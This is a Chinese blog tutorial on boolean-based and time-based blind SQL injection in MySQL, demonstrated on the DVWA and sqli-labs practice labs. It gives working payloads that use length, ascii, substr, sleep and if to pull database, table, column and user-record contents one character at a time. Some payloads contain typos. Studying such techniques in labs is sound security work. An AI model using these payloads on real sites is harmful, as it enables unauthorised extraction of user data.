SQL注入实战之盲注篇(布尔、时间盲注)
首先还是写一下核心的语句吧。
information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';
select concat(username,password) from dvwa.users;
布尔盲注
在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。
-select id,name from product where id=1 and 1=1
布尔型盲注步骤和语句
1.判断当前数据库名长度与数据库名称
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值
2.判断数据库的表长度与表名
and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度
and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少
3.判断数据库的字段名长度与字段名称
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度
adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值
4.判断字段的内容长度与内容字符串
and length((select user from users limit 0,1)) >1 //判断字符串内容长度
and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值
时间盲注
在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注
- select id,name from product where id=1 and sleep(2)
基于时间盲注sleep函数
-在mysql下,sleep的语法如下:sleep(seconds)即sleep函数代码执行延迟若干秒
-sleep()函数执行是有条件的,必须保障sql语句执行结果存在数据记录才会停止指定的秒数,如果sql语句查询结果为空,那么sleep函数不会停止
观察以下语句
第一个语句:sleep函数设置查询停留3s, sleep函数本身返回值为0,显示查询时间为3s
第二个语句:语句最后加上and 1=2 形成查询逻辑错误,sleep函数不执行暂停,因此查询时间为0s
基于时间盲注if函数
逻辑判断函数if()
if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语句
-select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);
此处 如果条件ascii(substr(database(),1,1))>1成立则执行sleep(5),否则执行1
基于时间的盲注案例(sqli-lab less-9)
枚举当前数据库名
- id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+
枚举当前数据库的表名
- id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+
或者利用if函数
- id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+
枚举当前数据库表的字段名
- id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+
枚举每个字段对应的数据项内容
- id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· .NET Core 中如何实现缓存的预热?
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性